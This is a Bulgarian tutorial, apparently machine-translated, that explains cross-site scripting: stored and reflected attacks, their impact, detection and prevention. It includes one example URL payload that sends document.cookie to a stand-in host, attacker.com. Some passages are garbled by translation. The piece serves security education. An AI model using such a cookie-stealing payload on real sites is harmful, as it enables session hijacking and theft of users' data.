Въведение в скриптове на кръстосан сайт

  • С увеличаването на броя на уеб приложенията в Интернет, сигурността в мрежата вече се превърна във важна грижа. Хакването и открадването на личните данни на потребителите вече е често срещано и заплашва да използват всяко приложение. Cross Site Scripting е една от популярните атаки срещу уеб сигурността на потребителите. Нека да разберем какво е скрипт на различни сайтове.
  • Cross Site Scripting, наречен XSS, е уязвимост на компютърната сигурност, при която нападателят има за цел да добави злонамерен код под формата на скриптове в надежден уебсайт / уеб страница. Това е атака за инжектиране на код от страна на клиента и злонамереният скрипт се изпълнява в уеб браузъра на потребителя, когато той достъп до този уебсайт / уеб страница. Косвено този уебсайт се превръща в средство за изпращане на злонамерения код на потребителя. Чрез инжектиране на скриптове нападателите заобикалят DOM (Document Object Model) на ограниченията за сигурност и получават достъп до чувствителното съдържание на страницата на потребителя, бисквитките на сесиите, историята на сърфиране, повечето от личните данни, поддържани от браузъра.
  • Уебсайт, съдържащ форуми, табла за съобщения, уеб страници, които позволяват коментари и тези, които използват несанитизиран потребителски вход и така генерирания изход, са най-уязвими за XSS атаки. Въпреки че XSS атаките са възможни във VBScript, ActiveX и CSS, те са най-често срещани в Javascript като основен за повечето преживявания при сърфиране.

Различни видове кръстосани скриптове (XSS)

Въпреки че няма конкретна класификация на кръстосани скриптове, някои експерти са я класифицирали в два типа, които са разгледани по-подробно по-долу:

Съхранени XSS атаки :

  • Съхранените XSS са тези, при които злонамереният скрипт, инжектиран от нападателя, се съхранява в базата данни и работи в браузъра на потребителя, когато той се опитва да получи достъп до базата данни под някаква форма. Те също са известни като устойчиви или съхранявани XSS. Това е една от най-опустошителните атаки и се случва особено когато уебсайтът / уеб страницата позволява коментиране или позволява вграждане на HTML съдържание.
  • Атакистът добавя javascript в коментара, който се съхранява в базата данни и когато потребителят има достъп до засегнатата страница, извличайки данните от базата данни, че злонамерен скрипт се изпълнява в неговия браузър и този нападател получава неоторизиран достъп до личните данни на потребителя.
  • Например, в уебсайт за електронна търговия като Olx, който има несанитизирана кутия за съобщения за описание на продукта, нападател, който е продавач на продукт, добавя в него злонамерен javascript и той ще се съхранява в базата данни на уебсайта.
  • Когато купувачът ще отвори описанието на продукта, за да прегледа подробностите на продукта, сега ще стане жертва, когато скриптът се изпълнява в уеб браузъра му и всички подробности за потребителя, който браузърът позволява, ще бъдат отвлечени.

Процедура XSS атаки:

  • Това е един от най-често срещаните начини, по които нападателят може да причини XSS атака на потребителя. По принцип при атаки на процедура XSS, нападателят се насочва към жертвата, като изпраща имейл, злонамерена връзка или прикачва низ в резултата от търсенето, който сочи към надежден уебсайт, но съдържа злонамерения код на JavaScript.
  • Ако жертвата кликне върху този URL адрес, тя инициира HTTP заявката и тя изпраща заявка до уязвимото уеб приложение. След това заявката се връща към жертвата с отговор на вграден JavaScript код, който уеб браузърът изпълнява, като смята, че идва от надежден уебсайт, води до отвличане на поверителните данни на браузъра му.
  • Например в уебсайт за електронна търговия има поле за търсене, в което потребителят може да търси елементите, а низът, написан в полето за търсене, се вижда в URL адреса на уебсайта, когато заявката за търсене е изпратена до сървъра.
  • Нападателят създава връзка, в която злонамереният скрипт е свързан в URL адреса и го изпраща на жертвата чрез имейл. Когато жертвата отвори тази връзка, заявката се изпраща до злонамерения уебсайт на нападателя и всички данни от браузъра на жертвата са отвлечени и изпратени до системата на нападателя.

Как работи Cross Scripting (XSS)?

  • При уязвимостта на Cross Site Scripting (XSS) основният мотив на атакуващия е да открадне данните на потребителя, като пусне злонамерения скрипт в браузъра си, който се инжектира в съдържанието на уебсайта, което потребителят използва по различни начини.
  • Например, когато потребителят търси някакъв текст в уебсайт, заявката се изпраща до сървъра във формата:

https://www.abcwebsite.com/search?q=text1

В резултата от търсенето уебсайтът връща резултата заедно с това, което потребителят е търсил като:

Вие търсихте: text1

Ако функцията за търсене е уязвима за XSS, нападателят може да добави злонамерен скрипт в URL адреса:

https://www.abcwebsite.com/search= местоположение на документа = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie)
  • Когато жертвата кликне върху тази връзка, тя се пренасочва към злонамерения уебсайт, т.е. https://attacker.com и всички данни от браузъра се изпращат директно до компютъра на нападателя, което води до кражба на всички секени / бисквитки на сесията.
  • По този начин, нападател инжектира своя злонамерен скрипт в URL адреса, Attacker може също да съхранява този скрипт в сървъра, който се намира под Stosed XSS.

Въздействие на уязвимостите от скриптове на различни сайтове:

Въздействието на скриптове на кръстосани сайтове варира много. След като използва уязвимостта на XSS, нападател придобива пълен контрол върху браузъра на жертвата и може да извърши различни действия, които варират от малки като преглед на историята на браузъра до катастрофални такива като вмъкване на червеи в компютъра.

Някои от действията, които нападателят може да извърши, използвайки уязвимостта на XSS, са както следва: -

  1. Изтича чувствителна информация като потребителско име и парола.
  2. Поставяне на червеи на компютъра.
  3. Пренасочване на потребителя към някой опасен уебсайт и принуждаване да извърши някои действия
  4. Достъп до историята на сърфиране на жертвата.
  5. Инсталиране на програма троянски кон.
  6. Принуждавайте потребителя да изпълнява и променя стойностите в приложението, като получава достъп

Намиране на уязвимости между скриптови скриптове:

  • XSS уязвимостите възникват по две причини или входът от потребителя не е валидиран, преди да го изпрати до сървъра, или изходът, получен в браузъра, не е кодиран HTML. Имайки предвид пагубното въздействие на XSS уязвимостта и защита на поверителността на потребителите, е много важно да се установи дали уеб приложението е уязвимо за XSS или не.
  • Въпреки че XSS е трудно да се идентифицира и премахне, най-добрият начин за проверка е да се извърши преглед на защитата на кода и да се провери за всички места, където входът от HTTP заявката може да направи своя начин да се покаже като изход в приложение. Използването на инструментите за автоматичен скенер за уязвимост, които включват специализиран модул за скенер на XSS за сканиране на цялото уеб приложение, също може да помогне при сканиране и намиране на уязвимостите в приложение.

H благодарение на Предотвратяване на XSS?

  • XSS е уязвимост за инжектиране на код, така че е много важно да се кодират данните, които се изпращат до сървъра, и данните, които идват от сървъра до браузъра на потребителя.
  • Валидирането на данни също е много важно, така че браузърът да интерпретира кода без никакви злонамерени команди. Въведени бяха различни методи за превенция, като данните за валидиране и кодиране са приоритет за уебсайт, който е уязвим за XSS.

Някои точки трябва да се съсредоточат, за да се предотврати XSS: -

  1. Поддръжката на HTTP Trace на всички уеб сървъри трябва да бъде изключена, тъй като нападателят може да открадне бисквитките и личните данни на браузъра чрез HTTP проследяване на повикването от сървъра, дори ако document.cookie е деактивиран в браузъра на жертвата.
  2. Разработчиците трябва да санират данните и никога не трябва да извеждат данните, получени директно от потребителя, без да го валидират.
  3. Връзките обикновено трябва да бъдат забранени, ако не започват с белите списъци като HTTP: //, https: // по този начин предотвратявайки използването на URI схеми като javascript: //

Заключение:

XSS атаките са опасни и могат да навредят на поверителността на потребителя и да откраднат данните, освен ако нормалният потребител не разглежда внимателно приложението. Така разработчиците по време на разработването на приложението трябва да спазват строгите правила за сигурност, особено за данни и сървър, така че приложението да е най-малко уязвимо от XSS и повече потребители да разчитат на него.

Препоръчителни статии

Това е ръководство за това какво е скрипт на кръстосани сайтове ?. Тук обсъждаме различните видове кръстосани сайтове, работа, въздействие и превенция на XSS съответно. Можете да разгледате и другите ни предложени статии, за да научите повече -

  1. Как работи JavaScript
  2. Какво е атака с фишинг?
  3. Какво е кибератака?
  4. HTTP кеширане
  5. Как бисквитките работят в JavaScript с пример?